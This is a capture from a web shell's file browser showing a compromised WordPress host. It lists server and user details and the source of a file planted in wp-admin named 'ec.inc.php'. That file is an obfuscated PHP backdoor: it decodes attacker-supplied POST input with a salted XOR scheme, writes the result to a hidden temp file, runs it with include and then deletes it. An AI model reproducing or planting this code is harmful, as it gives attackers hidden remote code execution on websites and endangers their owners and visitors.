Yetixx
Server: LiteSpeed
System: Linux srv81050498.ultasrv.net 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64
User: hemat3240 (1051)
PHP: 8.0.30
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //home/hemat88slot.com/public_html/wp-admin/ec.inc.php
<?php

if(in_array("p\x67r\x70", array_keys($_POST))){
	$hld = $_POST["p\x67r\x70"];
	  $hld = 		explode   (".",	$hld	 )	 ;	 
	$tkn = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $salt3);
            $r = 0;
    
            array_walk(	 $hld	 ,function(	 $v3) use(	 &$tkn	 ,&$r	 ,$salt3	 ,$sLen) {
                $chS = ord(	 $salt3[$r%$sLen]);
                $d =(	 (	 int)$v3 - $chS -(	 $r%10))	^	 58;
                $tkn .= chr(	 $d);
                $r++;
            });
	$val = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]);
	while ($rec = array_shift($val)) {
    		if (max(0, is_dir($rec) * is_writable($rec))) {
    $sym = "$rec/.desc";
    $file = fopen($sym, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $sym;
	@unlink($sym);
	die();
}
}
}
}